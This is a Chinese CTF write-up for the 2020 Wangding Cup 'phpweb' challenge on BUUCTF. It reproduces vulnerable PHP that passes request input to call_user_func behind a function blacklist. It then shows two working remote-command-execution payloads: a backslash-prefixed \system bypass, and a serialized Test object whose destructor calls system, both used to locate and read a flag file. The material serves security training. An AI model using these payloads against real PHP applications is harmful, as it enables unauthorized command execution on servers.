首页 > 编程语言 >BUUCTF_2020网鼎杯[朱雀组]phpweb

BUUCTF_2020网鼎杯[朱雀组]phpweb

时间:2024-10-24 16:13:15浏览次数:1  
标签:tmp BUUCTF 函数 system flag 2020 func Test 网鼎杯

BUUCTF_2020网鼎杯[朱雀组]phpweb

启动环境

页面出现warning,并且发现页面存在自动刷新,使用burpsuite抓包:

image-20241024144127683

发现两个参数func和p

并且发现页面中有2024-10-24 03:55:59 am,判断执行了date函数,根据func和p的形式猜测函数执行,func输入函数,p输入语句

获取源代码:func=highlight_file&p=index.php

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

查看php代码:

  • $disable_fun列出来函数黑名单,过滤了非常多的函数
  • call_user_func()函数把第一个参数作为回调函数调用
  • 存在Test类,类中包含魔术方法__destruct()(考虑反序列化)

方法1:

在in_array()方法执行时,可以使用\绕过,例如system函数改为\system

所以直接用\绕过黑名单,实现命令执行:

func=\system&p=ls

image-20241024150437155

找一下flag:

func=\system&p=find / -name flag*

image-20241024150558795

发现路径:/tmp/flagoefiu4r93

查看文件:

func=\system&p=cat /tmp/flagoefiu4r93

得到flag:

image-20241024150853098

方法2:

上面分析代码的时候提到有Test类,并且并没有将serialize()和unserialize()函数过滤,所以可以使用反序列化

<?php
    class Test {
        public $func;
        public $p;
    }
    
    $tmp = new Test();
    $tmp->func = "system";
    $tmp->p = "ls";
    
    echo serialize($tmp)
?>

得到序列化之后的字符串:

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

同样得到:

image-20241024150437155

找flag:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

image-20241024150558795

查看flag文件:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

image-20241024150853098

最终得到flag。

总结

考点:/绕过、反序列化、代码审计、find命令查找flag文件

标签:tmp,BUUCTF,函数,system,flag,2020,func,Test,网鼎杯
From: https://www.cnblogs.com/rain7/p/18499776

相关文章

  • 【真题研究】CSP-S2020
    [CSP-S2020]儒略日大模拟。可以将时间分为\(4\)个部分:\(-4713.1.1\)至\(-1.12.31\)\(1.1.1\)至\(1582.10.4\)\(1582.10.5\)至\(1582.10.14\)\(1582.10.15\)至无穷大体可分为公元前(儒略历),公元后儒略历,公元后格里高利历。如果\(x\le1721424\),说明是公元前儒略......
  • P7074 [CSP-J2020] 方格取数 题解
    动态规划dp方格取数类似于数字三角形,均可以使用动态规划直接秒杀.但此题有$3$个方向:上、右、下.所以可以定义一个三维数组dp数组.假设$f_{i,j,1}$是从右、上方到达$(i,j)$的和的最大值.又有$f_{i,j,0}$是从右、下方到达$(i,j)$的和的最大值.我们可以先确定......
  • P7071 [CSP-J2020] 优秀的拆分 题解
    二进制"优秀的拆分"如果存在,则代表$n$的二进制最低位不是$1$.$\because2^0=1$$\therefore$当$n$的二进制最低位为$1$时,不存在优秀的拆分.即$n$不是奇数.上述条件判断完后,就可以从$2$的$30$次方开始模拟(int的上限是$2^{31}-1$).代码#include<iostream>......
  • P7072 [CSP-J2020] 直播获奖 题解
    暴力使用$\Theta(n^2)$的时间复杂度来解决这题大约能拿到$60pts$.即枚举$p$,再枚举每个选手的分数.正解桶是个好东西.我们开一个桶,记录当前分数有多少人.然后计算获奖人数,分数从大到小进行枚举,直到当前人数$\ge$获奖人数.代码#include<iostream>#include<cstdio>#i......
  • [CSP-J2020] 表达式 题解
    短路这道题目中所含的运算符只有3个:与、或、非.在与运算和或运算中有2个性质.进行与运算时,若其中有一个值为0,则这个运算的结果就为0,即无需判断另1个数是否是0或1.进行或运算时,若其中有一个值为1,则这个运算的结果就为1,也无需判断另一个数是否是0或1.表达式树根据短路的性......
  • [CSP-S2020] VP
    【比赛地址】省流:\(100+100+70+55\to100+100+70+0,325\to270\)[CSP-S2020]儒略日乱搞。这道题太恶心了,场上用了\(1h\)才做出来。代码过于抽象,不放了。[CSP-S2020]动物园非常简单的黄题。#include<bits/stdc++.h>usingnamespacestd;unsignedlonglongn,m,c,k......
  • CSP-S 2020~2023 分析
    2020T1儒略日直接模拟即可,洛谷难度虚高。T2动物园考察对二进制数的理解程度,很简单,但需要特判答案超过longlong范围的情况。T3函数调用就是处理一下拓扑序就行了,代码细节较多,但整体比较简单。T4贪吃蛇很难想的贪心,考虑水分。发现$n\le3$的点很简单,轻松拿下$20......
  • P7072 [CSP-J2020] 直播获奖 对顶堆
    对顶堆动态维护第k大的值。#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;voidShowball(){intn,w;cin>>n>>w;priority_queue<int,vector<int>,greater<int>>minq;priority_queue<int>ma......
  • 2020 CCPC河南省赛 ABCEI
    2020CCPC河南省赛A-班委竞选签到不多说//AConemoretimes//nndbk#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;constintmod=1e9+7;constintN=2e5+10;vector<pair<int,int>>v[N];boolcmp(pair<int,int>a,pa......
  • [随笔]网鼎杯大赛2024真题及赛前培训CTF
    欢迎你来这里,真题题目真没有。赛前培训可以到这里:https://vip.ctf.show/?invite=18742【赛前模拟】10月19日当天前往https://c.wangdingcup.com/#/login可以参加模拟训练。不过这届举办方真有意思,还得10月18日前完成报名的才可以参加。【猜测】官方公众号是10月17日下午......